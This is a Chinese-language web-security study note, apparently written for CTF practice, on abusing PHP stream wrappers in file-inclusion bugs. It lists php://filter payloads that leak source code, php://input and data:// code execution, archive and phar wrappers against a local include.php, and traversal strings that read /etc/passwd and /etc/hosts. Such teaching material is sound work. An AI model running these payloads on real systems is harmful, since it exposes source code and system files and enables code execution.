目录

  1. 1. php://协议
    1. 1.1. php://filter
      1. 1.1.1. filterchain
    2. 1.2. php://input
  2. 2. data://协议
  3. 3. file://协议
  4. 4. zip:// & bzip2:// & zlib://协议
  5. 5. phar:// 协议
  6. 6. 利用未知伪协议进行目录遍历

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

PHP伪协议

2023/3/15 Web 文件包含 PHP
  |     |   总文章阅读量:

参考文章

php.ini配置文件参数:

allow_url_fopen:on #默认开启 ,表示允许url里的封装协议访问文件;

allow_url_include:off #默认关闭,表示不允许包含url里的封装协议包含文件;

php://协议

  • 条件

    allow_url_fopen:off/on

    allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

php://filter

读取文件源码可以直接用resource读取(常用)

//原型
php://filter/resource=flag.php

//base64编码
php://filter/read=convert.base64-encode/resource=flag.php
//quoted-printable编码
php://filter/read=convert.quoted-printable-encode/resource=flag.php
//rot13变换
php://filter/read=string.rot13/resource=flag.php

//字符编码
php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
//解码脚本
<?php
$str = "lfga= \" lfgaL{xx}x;\"";
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>

// 一些其它的filterchain
php://filter/convert.iconv.CP9066.CSUCS4/resource=flag.php
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=flag.php

写入文件源码需把read改为write,encode改为decode

filterchain

https://c1oudfl0w0.github.io/blog/2023/11/24/FilterChain/


php://input

执行php代码

是个可以访问请求的原始数据的只读流。(php://input可以读取没有处理过的POST数据

enctype="multipart/form-data" 的时候php://input 是无效的。

  • 利用条件:绕过file_get_contents()

data://协议

访问数据流,执行相应php代码

可用于flag被过滤的文件包含

data://text/plain(;base64),编码后的php代码 

file://协议

可读取本地文件

条件:

  • allow_url_fopen:off/on
  • allow_url_include :off/on
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt

http://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

zip:// & bzip2:// & zlib://协议

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

条件:

  • allow_url_fopen:off/on
  • allow_url_include :off/on
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

phar:// 协议

zip://类似,同样可以访问zip格式压缩包内容

可以读取phar包改zip包内的php(详见文件上传)

eg:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

phar反序列化漏洞利用


利用未知伪协议进行目录遍历

在php中,遇到不认识的protocol时会将其当作普通路径处理

对于parse_url而言,提供这样一个url:a://example.com/../../../../../../../../../../etc/passwd

解析的结果如下:

[scheme] => a  [host] => example.com  [path] => /../../../../../../../../../../etc/passwd

于是在file_get_contents中有下面这种利用方式

file_get_contents("0://google.com/../../../../../etc/hosts")